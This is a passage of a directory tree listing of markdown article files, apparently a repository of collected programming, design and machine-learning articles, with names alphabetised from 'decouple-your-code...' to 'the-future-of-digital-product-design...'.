decouple-your-code-with-dependency-injection.md │ ├── deep-dive-into-react-fiber-internals.md │ ├── deep-learning-competence.md │ ├── deep-learning-is-going-to-teach-us-all-the-lesson-of-our-lives-jobs-are-for-machines.md │ ├── defining-component-apis-in-react.md │ ├── delightful-animations-in-ios.md │ ├── dependencies-ios-carthage.md │ ├── dependency-injection-in-a-multi-module-project.md │ ├── deploy-not-equal-release-part-one.md │ ├── deploy-not-equal-release-part-two-2.md │ ├── deploy-not-equal-release-part-two.md │ ├── design-is-not-going-to-save-the-world.md │ ├── design-patterns-in-modern-javascript-development.md │ ├── design-patterns-on-ios-using-swift-part-1-2.md │ ├── design-patterns-on-ios-using-swift-part-2-2.md │ ├── design-types-7d75839a20ea.md │ ├── designing-for-the-web-ought-to-mean-making-html-and-css.md │ ├── designing-notifications-for-applications.md │ ├── designing-search-for-mobile-apps.md │ ├── designing-sound-and-silence.md │ ├── designing-very-large-javascript-applications.md │ ├── developing-a-single-page-app-with-flask-and-vuejs.md │ ├── developing-games-with-react-redux-and-svg-part-2.md │ ├── developing-games-with-react-redux-and-svg-part-3.md │ ├── differentiable-plasticity.md │ ├── discovery-in-the-age-of-abundant-video.md │ ├── distributed-transactions-in-spring-with-and-without-xa-part-1.md │ ├── distributed-transactions-in-spring-with-and-without-xa-part-2.md │ ├── distributed-transactions-in-spring-with-and-without-xa-part-3.md │ ├── dns-over-tls.md │ ├── dns-servers-you-should-have-memorized.md │ ├── do-you-know-about-the-keyboard-tag-in-html.md │ ├── dont-call-me-i-ll-call-you-side-effects-management-with-redux-saga-part-1.md │ ├── double-stuffed-security-in-android-oreo.md │ ├── draw-a-path-rendering-android-vectordrawables.md │ ├── dynamic-features-in-swift.md │ ├── easy-coroutines-in-android-viewmodelscope.md │ ├── easy-responsive-modern-css-grid-layout.md │ ├── ecmascript-classes-keeping-things-private.md │ ├── edge-detection-in-python.md │ ├── effective-bloc-pattern.md │ ├── effective-code-review.md │ ├── elements-of-javascript-style.md │ ├── elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md │ ├── elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md │ ├── enabling-modern-js-on-npm.md │ ├── encapsulating-style-and-structure-with-shadow-dom.md │ ├── energy-sector-now-on-blockchain-based-cryptocurrency.md │ ├── engineering-to-improve-marketing-effectiveness-part-1.md │ ├── enough-to-decide.md │ ├── ensemble-learning-to-improve-machine-learning-results.md │ ├── envion-a-name-of-mining-in-block-chain-to-support-renewable-energy.md │ ├── es-modules-a-cartoon-deep-dive.md │ ├── es6-and-npm-modules-in-google-apps-script.md │ ├── es6-notes-default-values-of-parameters.md │ ├── ethereum-bitcoin-explainer.md │ ├── ethereumbook-wallets.md │ ├── eval-via-import.md │ ├── event-stoppropagation-in-a-modular-system.md │ ├── every-single-machine-learning-course-on-the-internet-ranked-by-your-reviews.md │ ├── everything-you-need-to-know-about-change-detection-in-angular.md │ ├── everything-you-need-to-know-about-flutter-page-route-transition.md │ ├── everything-you-need-to-know-about-javascript-symbols.md │ ├── examining-performance-differences-between-native-flutter-and-react-native-mobile-development.md │ ├── exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas.md │ ├── exploring-apps-without-jailbreaking.md │ ├── expressive-code-for-state-machines-in-cpp.md │ ├── extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn.md │ ├── extreme-rare-event-classification-using-autoencoders-in-keras.md │ ├── eye-tracking-and-the-best-ux-practices-in-the-mobile-world.md │ ├── fast-pipelines-with-generators-in-typescript.md │ ├── find-top-10-meaningful-web-design-trends-in-2020.md │ ├── five-options-for-ios-continuous-delivery-without-fastlane.md │ ├── fixing-memory-leaks-in-web-applications.md │ ├── flask-video-streaming-revisited.md │ ├── flexbox-alignment.md │ ├── flexbox-display-flex-container.md │ ├── flutter-challenge-twitter.md │ ├── flutter-challenge-whatsapp.md │ ├── flutter-challenge-youtube.md │ ├── flutter-deep-dive-gestures.md │ ├── flutter-for-android-developers-how-to-design-linearlayout-in-flutter.md │ ├── flutter-getting-started-tutorial-5-grid.md │ ├── flutter-heroes-and-villains-bringing-balance-to-the-flutterverse.md │ ├── flutter-infinite-listview-with-redux.md │ ├── flutter-layout-cheat-sheet.md │ ├── flutter-state-management-setstate-bloc-valuenotifier-provider.md │ ├── flutter_go.md │ ├── focus-and-deep-work-your-secret-weapons-to-becoming-a-10x-developer.md │ ├── font-size-an-unexpectedly-complex-css-property.md │ ├── fountaincodes.md │ ├── four-ways-to-quantify-synchrony-between-time-series-data.md │ ├── front-end-performance-checklist-2019-pdf-pages-1.md │ ├── front-end-performance-checklist-2019-pdf-pages-2.md │ ├── front-end-performance-checklist-2019-pdf-pages-3.md │ ├── front-end-performance-checklist-2019-pdf-pages-4.md │ ├── front-end-performance-checklist-2019-pdf-pages-5.md │ ├── front-end-performance-checklist-2019-pdf-pages-6.md │ ├── frontend-vs-backend-which-one-is-right-for-you.md │ ├── funding-eslint-future.md │ ├── future-of-web-design.md │ ├── futures-isolates-event-loop.md │ ├── generator-functions-in-javascript.md │ ├── gentle-introduction-multithreading.md │ ├── getting-creative-with-the-console-api.md │ ├── getting-started-with-c-and-android-native-activities.md │ ├── getting-started-with-differentialequations-jl.md │ ├── getting-the-most-from-the-new-multi-camera-api.md │ ├── git-aliases-i-cant-live-without.md │ ├── git-aliases.md │ ├── go-graphql-gateway-microservices.md │ ├── golang-datastructures-trees.md │ ├── good-coding-practices-tips-enhance-code-quality.md │ ├── good-practices-for-high-performance-and-scalable-node-js-applications-part-1-3.md │ ├── good-practices-for-high-performance-and-scalable-node-js-applications-part-2-3.md │ ├── good-practices-for-high-performance-and-scalable-node-js-applications-part-3-3.md │ ├── goodbye-clean-code.md │ ├── google-advanced-search-operators.md │ ├── google-chrome-kill-url-first-steps.md │ ├── google-colab-free-gpu-tutorial.md │ ├── google-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action.md │ ├── google-santa-tracker-moving-to-an-android-app-bundle.md │ ├── googles-ml-kit-offers-easy-machine-learning-apis-for-android-and-ios.md │ ├── gophercon-2018-binary-search-tree-algorithms.md │ ├── graphql-a-retrospective.md │ ├── graphql-server-design-medium.md │ ├── great-design-vs-good-design-whats-the-difference-here-s-the-truth.md │ ├── guide-node-js-logging.md │ ├── gunicorn-3-means-of-concurrency.md │ ├── headers-we-dont-want.md │ ├── headless-user-interface-components.md │ ├── heuristic-principles-for-mobile-interfaces.md │ ├── high-speed-inserts-with-mysql.md │ ├── history-of-go-testing.md │ ├── history-of-javascript.md │ ├── homepod-12-wish-list.md │ ├── hooks-intro.md │ ├── how-airbnb-proved-that-storytelling-is-the-most-important-skill-in-design.md │ ├── how-apple-beat-swiss-watchmakers-at-their-own-game.md │ ├── how-apple-can-fix-3d-touch.md │ ├── how-blockchain-can-help-re-invent-healthcare.md │ ├── how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels.md │ ├── how-can-a-designer-become-a-leader.md │ ├── how-can-cloud-services-help-improve-your-businessess-efficiency.md │ ├── how-data-sharding-works-in-a-distributed-sql-database.md │ ├── how-discord-renders-rich-messages-on-the-android-app.md │ ├── how-do-you-figure.md │ ├── how-does-react-tell-a-class-from-a-function.md │ ├── how-does-the-development-mode-work.md │ ├── how-fast-is-flutter-i-built-a-stopwatch-app-to-find-out.md │ ├── how-i-automated-my-job-with-node-js.md │ ├── how-i-built-a-web-crawler-to-automate-my-job-search.md │ ├── how-i-built-an-async-form-validation-library-in-100-lines-of-code-with-react-hooks.md │ ├── how-i-finally-got-my-head-around-scoped-slots-in-vue.md │ ├── how-i-fixed-a-very-old-gil-race-condition-in-python-3-7.md │ ├── how-i-landed-a-job-in-ux-design-at-google.md │ ├── how-i-used-python-to-find-interesting-people-on-medium.md │ ├── how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md │ ├── how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security.md │ ├── how-javascript-works-service-workers-their-life-cycle-and-use-cases.md │ ├── how-javascript-works-the-mechanics-of-web-push-notifications.md │ ├── how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md │ ├── how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md │ ├── how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance.md │ ├── how-not-to-vue.md │ ├── how-pagespeed-works.md │ ├── how-to-avoid-opinion-based-product-prioritization.md │ ├── how-to-avoid-these-7-mistakes-i-made-as-a-junior-developer.md │ ├── how-to-be-a-good-remote-developer.md │ ├── how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md │ ├── how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md │ ├── how-to-become-a-devops-engineer-in-six-months-or-less-part-4-package.md │ ├── how-to-become-a-devops-engineer-in-six-months-or-less.md │ ├── how-to-build-a-blog-with-nest-js-mongodb-and-vue-js.md │ ├── how-to-build-a-circular-slider-in-flutter.md │ ├── how-to-build-a-cli-with-node-js.md │ ├── how-to-build-a-delightful-loading-screen-in-5-minutes.md │ ├── how-to-build-a-simple-chrome-extension-in-vanilla-javascript.md │ ├── how-to-build-a-simple-game-in-the-browser-with-phaser-3-and-typescript.md │ ├── how-to-build-ios-mobile-group-chat-app-swift-5-pubnub.md │ ├── how-to-build-minesweeper-with-javascript.md │ ├── how-to-build-your-own-neural-network-from-scratch-in-python.md │ ├── how-to-choose-the-best-static-site-generator-in-2018.md │ ├── how-to-choose-the-right-database.md │ ├── how-to-conditionally-build-an-object-in-javascript-with-es6.md │ ├── how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks.md │ ├── how-to-connect-stackdriver-to-your-smart-home-server-for-error-logging.md │ ├── how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript.md │ ├── how-to-debug-front-end-optimising-network-assets.md │ ├── how-to-design-delightful-dark-themes.md │ ├── how-to-develop-a-generative-adversarial-network-for-a-1-dimensional-function-from-scratch-in-keras.md │ ├── how-to-develop-react-js-apps-fast-using-webpack-4.md │ ├── how-to-easily-detect-objects-with-deep-learning-on-raspberrypi.md │ ├── how-to-fix-app-quality-issues-with-android-vitals-and-improve-performance-on-the-play-store-part.md │ ├── how-to-format-dates-in-python.md │ ├── how-to-gain-widespread-adoption-of-your-design-system.md │ ├── how-to-generate-music-using-a-lstm-neural-network-in-keras.md │ ├── how-to-get-a-progressive-web-app-into-the-google-play-store.md │ ├── how-to-implement-consistent-hashing-efficiently.md │ ├── how-to-improve-your-data-structures-algorithms-and-problem-solving-skills.md │ ├── how-to-keep-your-dependencies-secure-and-up-to-date.md │ ├── how-to-learn-css.md │ ├── how-to-make-a-beautiful-tiny-npm-package-and-publish-it.md │ ├── how-to-mock-services-using-mountebank-and-node-js.md │ ├── how-to-not-react-common-anti-patterns-and-gotchas-in-react.md │ ├── how-to-optimize-your-app-for-android-go-edition.md │ ├── how-to-organize-a-hacktoberfest-themed-meetup.md │ ├── how-to-perform-object-detection-with-yolov3-in-keras.md │ ├── how-to-prioritize-your-teams-work.md │ ├── how-to-react-native-web-app-a-happy-struggle.md │ ├── how-to-read-source-code-without-ripping-your-hair-out.md │ ├── how-to-rewrite-your-sql-queries-in-pandas-and-more.md │ ├── how-to-save-ui-designers-front-end-developers-up-to-50-of-their-time.md │ ├── how-to-scrape-websites-with-python-and-beautifulsoup.md │ ├── how-to-simplify-your-design.md │ ├── how-to-think-like-a-programmer-lessons-in-problem-solving.md │ ├── how-to-train-an-object-detection-model-with-keras.md │ ├── how-to-use-flutter-to-build-an-app-with-bottom-navigation.md │ ├── how-to-use-result-in-swift.md │ ├── how-to-use-tensorflow-mobile-in-android-apps.md │ ├── how-to-watch-flutter-at-google-i-o-2018.md │ ├── how-to-win-back-subscribers-who-cancel.md │ ├── how-to-write-a-discord-bot-in-python.md │ ├── how-to-write-a-front-end-developer-resume-that-will-land-you-an-interview.md │ ├── how-to-write-a-function-pycon-2018.md │ ├── how-to-write-a-production-level-code-in-data-science.md │ ├── how-to-write-beautiful-and-meaningful-readme-md-for-your-next-project.md │ ├── how-to-write-better-code-in-react-best-practices.md │ ├── how-to-write-video-chat-app-using-webrtc-and-nodejs.md │ ├── how-we-built-the-fastest-conference-website-in-the-world.md │ ├── how-we-ditched-redux-for-mobx.md │ ├── how-we-made-carousells-mobile-web-experience-3x-faster.md │ ├── how-writing-simple-javascript-got-us-6200-github-stars-in-a-single-day.md │ ├── how-you-can-use-simple-trigonometry-to-create-better-loaders.md │ ├── how_to_prep_your_github_for_job_seeking.md │ ├── html-is-and-always-was-a-compilation-target-can-we-deal-with-that.md │ ├── http-2-frequently-asked-questions.md │ ├── http-3-from-root-to-tip.md │ ├── http-security-headers-a-complete-guide.md │ ├── http2-causalprof.md │ ├── https-medium-com-netflixtechblog-engineering-to-improve-marketing-effectiveness-part-2.md │ ├── hyphenation-in-css.md │ ├── i-built-an-app-that-uses-all-7-new-features-in-javascript-es2020.md │ ├── i-built-tic-tac-toe-with-javascript.md │ ├── i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences.md │ ├── i-dont-hate-arrow-functions.md │ ├── i-worked-with-a-data-scientist-heres-what-i-learned.md │ ├── iOS-Responder-Chain-UIResponder-UIEvent-UIControl-and-uses.md │ ├── idle-until-urgent.md │ ├── if-screen-product-designers-designed-physical-products.md │ ├── image-inpainting-humans-vs-ai.md │ ├── image-manipulation-libraries-for-javascript.md │ ├── imaginary-problems.md │ ├── immutability-in-react-theres-nothing-wrong-with-mutating-objects.md │ ├── immutable-data-with-immer-and-react-setstate.md │ ├── implement-a-design-with-css.md │ ├── implement-google-inbox-style-animation-on-android.md │ ├── implementing-linkedpurchasetoken-correctly-to-prevent-duplicate-subscriptions.md │ ├── implementing-seam-carving-with-python.md │ ├── implementing-svm-and-kernel-svm-with-pythons-scikit-learn.md │ ├── improving-app-performance-with-art-optimizing-profiles-in-the-cloud.md │ ├── improving-build-speed-in-android-studio.md │ ├── in-defense-of-the-ternary-statement.md │ ├── in-unix-everything-is-a-file.md │ ├── inclusively-hidden.md │ ├── increase-your-apps-performance-with-react-hooks-and-the-react-dev-tools.md │ ├── inside-browser-part2.md │ ├── inside-browser-part3.md │ ├── inside-browser-part4.md │ ├── inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react.md │ ├── inside-look-at-modern-web-browser-part1.md │ ├── integrating-third-party-animation-libraries-to-a-project-1.md │ ├── integrating-third-party-animation-libraries-to-a-project-2.md │ ├── interesting-ecmascript-2017-proposals.md │ ├── intermediate-design-patterns-in-swift.md │ ├── interpreting-predictive-models-with-skater-unboxing-model-opacity.md │ ├── introducing-aloestackview-for-ios.md │ ├── introducing-constraint-layout-1-1.md │ ├── introducing-flutter-widget-maker-a-flutter-app-builder-written-in-flutter.md │ ├── introducing-github-actions.md │ ├── introducing-new-android-excellence-apps.md │ ├── introducing-spaceace-a-new-kind-of-front-end-state-library.md │ ├── introducing-the-react-profiler.md │ ├── introducing-the-single-element-pattern.md │ ├── introducing-workmanager.md │ ├── introduction-source-maps.md │ ├── introduction-to-1d-convolutional-neural-networks-in-keras-for-time-sequences.md │ ├── introduction-to-accessibility-for-android-apps-and-games.md │ ├── introduction-to-ethereum-the-internets-government.md │ ├── introduction-to-graph-theory-network-analysis-python-codes.md │ ├── ios-12-now-installed-on-50-of-devices-outpacing-ios-11.md │ ├── ios-file-provider-extension-tutorial.md │ ├── ios-how-to-build-a-table-view-with-multiple-cell-types.md │ ├── ios-performance-tricks-apps.md │ ├── is-no-sql-killing-sql.md │ ├── is-postmessage-slow.md │ ├── is-your-rest-api-ready-for-deployment-7-questions-to-help-you-decide.md │ ├── its-2019-and-i-still-make-websites-with-my-bare-hands.md │ ├── its-the-future.md │ ├── j-introducing-junit5-part1-jupiter-api.md │ ├── j-javaee8-security-api-1.md │ ├── j-javaee8-security-api-2.md │ ├── j-javaee8-security-api-3.md │ ├── j-javaee8-security-api-4.md │ ├── java-and-etcd-together-at-last-with-jetcd.md │ ├── java-bridge-methods-explained.md │ ├── java-data-streaming.md │ ├── java-service-loader-vs-spring-factories-loader.md │ ├── javascript-array-push-is-945x-faster-than-array-concat.md │ ├── javascript-call-apply-and-bind.md │ ├── javascript-clean-code-best-practices.md │ ├── javascript-generator-yield-next-async-await.md │ ├── javascript-knowledge-reading-source-code.md │ ├── javascript-native-methods-you-may-not-know.md │ ├── javascript-symbols-but-why.md │ ├── javascript-top-level-await-in-a-nutshell.md │ ├── javascript-unit-testing-frameworks.md │ ├── javascripts-filter-function-explained-by-applying-to-college.md │ ├── joining-data-streams.md │ ├── json-parser-with-javascript.md │ ├── jupyter-notebook-tutorial.md │ ├── kafka-vs-rabbitmq-why-use-kafka.md │ ├── keeping-git-commit-history-clean.md │ ├── keeping-up-with-ai-in-2019.md │ ├── keras-cheat-sheet.md │ ├── keras-generative-adversarial-networks-image-deblurring.md │ ├── keyword-arguments-in-python.md │ ├── killing-a-process-and-all-of-its-descendants.md │ ├── kotlin-clean-architecture.md │ ├── kotlin-demystified-understanding-shorthand-lamba-syntax.md │ ├── kotlin-standard-functions-cheat-sheet.md │ ├── kubernetes-distributed-application.md │ ├── larder-links-06-iOS-Auto-Layout-DSLs.md │ ├── launching-the-front-end-tooling-survey-2019.md │ ├── layouts-of-tomorrow.md │ ├── lazy-loading-video-based-on-connection-speed.md │ ├── lazy-sequences-in-swift-and-how-they-work.md │ ├── lazy-var-in-ios-swift.md │ ├── learn-bootstrap-4-in-30-minute-by-building-a-landing-page-website-guide-for-beginners.md │ ├── learn-enough-docker-to-be-useful-1.md │ ├── learn-git-concepts-not-commands-1.md │ ├── learn-git-concepts-not-commands-2.md │ ├── learn-git-concepts-not-commands-3.md │ ├── learn-to-cache-your-nodejs-application-with-redis-in-6-minutes.md │ ├── learning-gos-concurrency-through-illustrations.md │ ├── learning-parser-combinators-with-rust-1.md │ ├── learning-parser-combinators-with-rust-2.md │ ├── learning-parser-combinators-with-rust-3.md │ ├── learning-parser-combinators-with-rust-4.md │ ├── lenses-composable-getters-and-setterssfor-functional-programming.md │ ├── lessons-learned-at-instagram-stories-and-feed-machine-learning.md │ ├── lets-settle-this-part-one.md │ ├── lets-settle-this-part-two.md │ ├── lets-simplify-the-work-with-userdefaults.md │ ├── lets-talk-js-documentation.md │ ├── levels-of-seniority.md │ ├── linear-algebra-animating-linear-transformations-with-threejs.md │ ├── linear-algebra-basic-matrix-operations.md │ ├── linear-algebra-for-deep-learning.md │ ├── linear-algebra-linear-transformation-matrix.md │ ├── linear-algebra-vectors.md │ ├── listeners-several-functions-kotlin.md │ ├── livedata-with-snackbar-navigation-and-other-events-the-singleliveevent-case.md │ ├── loaders-in-support-library-27-1-0.md │ ├── locale-changes-and-the-androidviewmodel-antipattern.md │ ├── localize-swift-application.md │ ├── logging-activity-web-beacon-api.md │ ├── logistic-regression-on-mnist-with-pytorch.md │ ├── longest-keyword-sequence.md │ ├── love-js-hate-css.md │ ├── lru-cache.md │ ├── machine-learning-for-diabetes-with-python.md │ ├── magic-numbers-are-not-that-magic.md │ ├── maintainable-etls.md │ ├── make-3d-flip-animation-in-flutter.md │ ├── make-shimmer-effect-in-flutter.md │ ├── making-a-todo-app-with-flutter.md │ ├── making-logs-colorful-in-nodejs.md │ ├── making-sense-of-react-hooks.md │ ├── making-svg-icon-component-in-vue.md │ ├── making-the-uamp-sample-an-instant-app.md │ ├── making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler.md │ ├── manage-different-environments-in-your-swift-project-with-ease.md │ ├── markov-chains-python-tutorial.md │ ├── master-the-javascript-interview-what-is-a-pure-function.md │ ├── master-the-javascript-interview-what-is-functional-programming.md │ ├── mastering-javascript-this-keyword-detailed-guide.md │ ├── mathematical-programming-a-key-habit-to-built-up-for-advancing-in-data-science.md │ ├── maybe-you-dont-need-rust-to-speed-up-your-js-1.md │ ├── maybe-you-dont-need-rust-to-speed-up-your-js-2.md │ ├── mdc-101-flutter.md │ ├── mdc-102-flutter.md │ ├── mdc-103-flutter.md │ ├── mdc-104-flutter.md │ ├── memory-leaks-in-swift.md │ ├── micro-design-systems-breaking-the-monolith.md │ ├── micro-frontends-1.md │ ├── micro-frontends-2.md │ ├── micro-frontends-3.md │ ├── micro-frontends-4.md │ ├── millions-of-active-websockets-with-node-js.md │ ├── minimize-for-loop-usage-in-python.md │ ├── mistakes-weve-drawn-a-few.md │ ├── misunderstanding-es6-modules-upgrading-babel-tears-and-a-solution.md │ ├── ml-kit-tutorial-for-ios-recognizing-text-in-images.md │ ├── mobile-apps-capacitor-vue-js.md │ ├── modern-script-loading.md │ ├── more-reasons-why-developers-should-blog.md │ ├── mosby3-mvi-7.md │ ├── motion-design-doesnt-have-to-be-hard.md │ ├── moving-to-three-person-engineering-teams.md │ ├── mvc-mvp-mvvm-clean-viper-redux-mvi-prnsaaspfruicc-building-abstractions-for-the-sake-of-building.md │ ├── mvp-for-android.md │ ├── mvvm-rxswift-on-ios-part-1.md │ ├── my-personal-git-tricks-cheatsheet.md │ ├── naive-bayes-classifier-sklearn-python-example-tips.md │ ├── native-image-lazy-loading-for-the-web.md │ ├── native-web-components.md │ ├── natural-language-processing-is-fun.md │ ├── nestjs-basic-auth-and-sessions.md │ ├── new-node-js-features.md │ ├── next-generation-package-management.md │ ├── node-js-can-http-2-push.md │ ├── nodejs-express-api-markdown-html.md │ ├── nodejs-jwt-authentication-oauth.md │ ├── normalization-vs-standardization-quantitative-analysis.md │ ├── object-detection-metrics.md │ ├── offline-first.md │ ├── offline-graphql-queries-with-redux-offline-and-apollo.md │ ├── on-engineers-and-influence.md │ ├── one-year-with-flutter-my-experience.md │ ├── open-source-doesnt-make-money-by-design.md │ ├── operating-a-high-scale-distributed-system.md │ ├── optimal-control-lqr.md │ ├── optimize-enterprise-scale-node-js.md │ ├── optimizing-a-static-site.md │ ├── optimizing-mp4-video-for-fast-streaming.md │ ├── optimizing-webpack-for-faster-react-builds.md │ ├── our-learnings-from-adopting-graphql.md │ ├── out-of-depth-with-flutter.md │ ├── oxidizing-source-maps-with-rust-and-webassembly.md │ ├── pandas-dtypes.md │ ├── parallel-streaming-of-progressive-images.md │ ├── parsing-complex-json-in-flutter.md │ ├── parsing-drugbank-xml-or-any-large-xml-file-in-streaming-mode-in-go.md │ ├── part-of-speech-tagging-tutorial-with-the-keras-deep-learning-library.md │ ├── password-hashing-pbkdf2-scrypt-bcrypt-and-argon2.md │ ├── password-reset-emails-in-your-react-app-made-easy-with-nodemailer.md │ ├── patterns-generic-repository-with-typescript-and-node-js.md │ ├── performance-under-load.md │ ├── performant-javascript-best-practices.md │ ├── picking-apart-stackoverflow-what-bugs-developers-the-most.md │ ├── pika-web-a-future-without-webpack.md │ ├── plain-javascript-versions-of-lodash-array-filtering-and-manipulation-methods.md │ ├── planning-for-responsive-images.md │ ├── platforms-and-languages.md │ ├── playground-driven-development-in-swift.md │ ├── pluggable-slots-in-react-components.md │ ├── polymorphic-react-components.md │ ├── practical-flutter-my-personal-6-tips-for-newcomers.md │ ├── practical-mvvm-rxswift.md │ ├── practical-proguard-rules-examples.md │ ├── practical-rxjs-in-the-wild-requests-with-concatmap-vs-mergemap-vs-forkjoin.md │ ├── predicting-your-games-monetization-future.md │ ├── pro-pattern-matching-in-swift.md │ ├── product-management-mental-models-for-everyone.md │ ├── project-worlds-achieving-god-mode-in-digital-design.md │ ├── promoting-install-mobile.md │ ├── protected-routes-and-authentication-with-react-and-node-js.md │ ├── protecting-a-spring-boot-app-with-apache-shiro.md │ ├── protecting-users-with-tls-by-default-in.md │ ├── protecting-webview-with-safe-browsing.md │ ├── prototyping-animations-in-swift.md │ ├── providing-safe-and-secure-experience.md │ ├── publishing-machine-learning-api-with-python-flask.md │ ├── publishing-private-apps-just-got-easier.md │ ├── pwa-native-mobile-apps.md │ ├── python-architecture-stuff-do-we-need-more.md │ ├── python-big-data-airflow-jupyter-notebook-hadoop-3-hive-presto.md │ ├── python-data-cleaning-numpy-pandas.md │ ├── python-libraries-for-data-science-other-than-pandas-and-numpy.md │ ├── python-multithreading-vs-multiprocessing.md │ ├── rage-against-the-codebase-programmers-and-negativity.md │ ├── react-16-lifecycle-methods-how-and-when-to-use-them.md │ ├── react-for-linear-algebra-examples-grid-and-arrows.md │ ├── react-higher-order-components.md │ ├── react-hooks-not-magic-just-arrays.md │ ├── react-inline-functions-and-performance.md │ ├── react-native-a-retrospective-from-the-mobile-engineering-team-at-udacity.md │ ├── react-native-at-airbnb-the-technology.md │ ├── react-native-at-airbnb.md │ ├── react-native-bridge-for-ios-and-android.md │ ├── react-native-vs-flutter-which-is-more-startup-friendly.md │ ├── react-svg-icon-components.md │ ├── reactive-app-state-in-flutter.md │ ├── real-time-human-pose-estimation-in-the-browser-with-tensorflow-js.md │ ├── real-world-dynamic-programming-seam-carving.md │ ├── recommendation-woff-2012-12-13.md │ ├── redefining-data-visualization-at-google.md │ ├── reducing-dimensionality-from-dimensionality-reduction-techniques.md │ ├── redux-tutorial.md │ ├── regex-was-taking-5-days-flashtext-does-it-in-15-minutes.md │ ├── rel-noopener.md │ ├── representing-music-with-word2vec.md │ ├── responsive-design-ground-rules.md │ ├── retries-timeouts-backoff.md │ ├── reverse-engineering-how-you-can-build-a-test-library.md │ ├── room-coroutines.md │ ├── rules-for-autocomplete.md │ ├── running-flask-with-an-ssh-remote-python-interpreter.md │ ├── running-jupyter-notebooks-on-remote-servers.md │ ├── running-uitests-with-facebook-login-in-ios.md │ ├── rust-2018-is-here-but-what-is-it.md │ ├── rust-case-study-community-makes-rust-an-easy-choice-for-npm.md │ ├── scarcity-in-ux-the-psychological-bias-that-became-the-norm.md │ ├── scheduling-in-react.md │ ├── scrolling-and-attention.md │ ├── secrets-of-a-wsgi-master-pycon-2018.md │ ├── self-host-your-static-assets.md │ ├── semantic-segmentation-u-net-part-1.md │ ├── sending-web-push-notifications-from-node-js.md │ ├── separation-of-data-and-ui-in-your-web-app.md │ ├── serverless-api-with-go-and-aws-lambda.md │ ├── serverless-machine-learning-with-tensorflow-dot-js.md │ ├── sharing-databases-between-laravel-applications.md │ ├── shine-a-light-on-javascript-performance-with-lighthouse-1opf.md │ ├── should-you-learn-vim-as-a-developer-in-2020.md │ ├── simple-mailer-with-django.md │ ├── sketch-plugins-i-cant-live-without.md │ ├── slidable-a-flutter-story.md │ ├── slide-an-image-to-reveal-text-with-css-animations.md │ ├── sliding-in-and-out-of-vue-js.md │ ├── smacss-scalable-modular-architecture-css.md │ ├── small-websites-are-dying.md │ ├── software-below-the-poverty-line.md │ ├── software-roles-and-titles.md │ ├── solving-the-graph-theory-expenses-management.md │ ├── some-notes-about-http3.md │ ├── sorting-algorithms-in-python.md │ ├── spantastic-text-styling-with-spans.md │ ├── speech-recognition-deepspeech.md │ ├── speech-voice-translation-microsoft-dr.md │ ├── start-performance-budgeting.md │ ├── state-restoration-tutorial-getting-started.md │ ├── static-properties-in-javascript-with-inheritance.md │ ├── stop-using-default-exports-javascript-module.md │ ├── stop-using-everywhere.md │ ├── stopping-using-console-log-and-start-using-your-browsers-debugger.md │ ├── streams-for-the-win-a-performance-comparison-of-nodejs-methods-for-reading-large-datasets-pt-2.md │ ├── structuring-your-ios-app-for-split-testing.md │ ├── styled-components-magic-explained.md │ ├── styling-html-checkboxes-is-hard-heres-why.md │ ├── styling-modern-web-apps.md │ ├── subscriptions-101-for-android-apps.md │ ├── sunsetting-react-native.md │ ├── supercharging-your-app-development-speed-with-custom-file-templates.md │ ├── support-vector-machines-tutorial.md │ ├── survival-guide-for-new-developers.md │ ├── swift-5-exclusivity.md │ ├── swift-5-frozen-enums.md │ ├── swift-api-pollution.md │ ├── swift-avoiding-memory-leaks-by-examples.md │ ├── swift-code-formatters.md │ ├── swiftui-3d-scroll-effect.md │ ├── swiftui-animating-color-changes.md │ ├── swiftwebui.md │ ├── syslog-the-complete-system-administrator-guide.md │ ├── tab-bars-are-the-new-hamburger-menus.md │ ├── talking-django-async-pycon-2018.md │ ├── ten-machine-learning-algorithms-you-should-know-to-become-a-data-scientist.md │ ├── ten-things-you-didnt-know-about-webpagetest-org.md │ ├── testing-react-apps-with-cypress.md │ ├── testing-your-react-app-with-puppeteer-and-jest.md │ ├── the-10-statistical-techniques-data-scientists-need-to-master.md │ ├── the-4-types-of-why-what-is-the-driving-force-behind-your-product.md │ ├── the-4px-baseline-grid-the-present.md │ ├── the-6-most-desirable-coding-jobs-and-the-types-of-people-drawn-to-each.md │ ├── the-7-programming-languages-frameworks-to-learn-in-2020.md │ ├── the-80-20-guide-to-json-stringify-in-javascript.md │ ├── the-9-big-design-trends-of-2019.md │ ├── the-absolute-easiest-way-to-debug-node-js-with-vscode.md │ ├── the-algorithm-is-not-the-product.md │ ├── the-anatomy-of-a-frame.md │ ├── the-android-dev-summit-2018-app-instant-app-takeaways-open-source.md │ ├── the-art-of-system-performance-for-engineers.md │ ├── the-beginners-guide-to-contributing-to-a-github-project.md │ ├── the-best-database-as-a-service-solutions-of-2018.md │ ├── the-best-explanation-of-javascript-reactivity.md │ ├── the-c10k-problem.md │ ├── the-childrens-illustrated-guide-to-kubernetes.md │ ├── the-concepts-of-graphql.md │ ├── the-cost-of-javascript-in-2018.md │ ├── the-css-mindset.md │ ├── the-dao-of-immutability.md │ ├── the-definitive-guide-to-javascript-dates.md │ ├── the-design-system-decision-tree.md │ ├── the-economics-of-package-management-1.md │ ├── the-economics-of-package-management-2.md │ ├── the-evolution-of-the-design-from-ux-towards-personal-experience.md │ ├── the-fallacy-of-easy.md │ ├── the-forbidden-inline-attribute-in-swift.md │ ├── the-forgotten-history-of-oop.md │ ├── the-future-of-digital-product-design-is-about-human-empowerment.md │ ├── 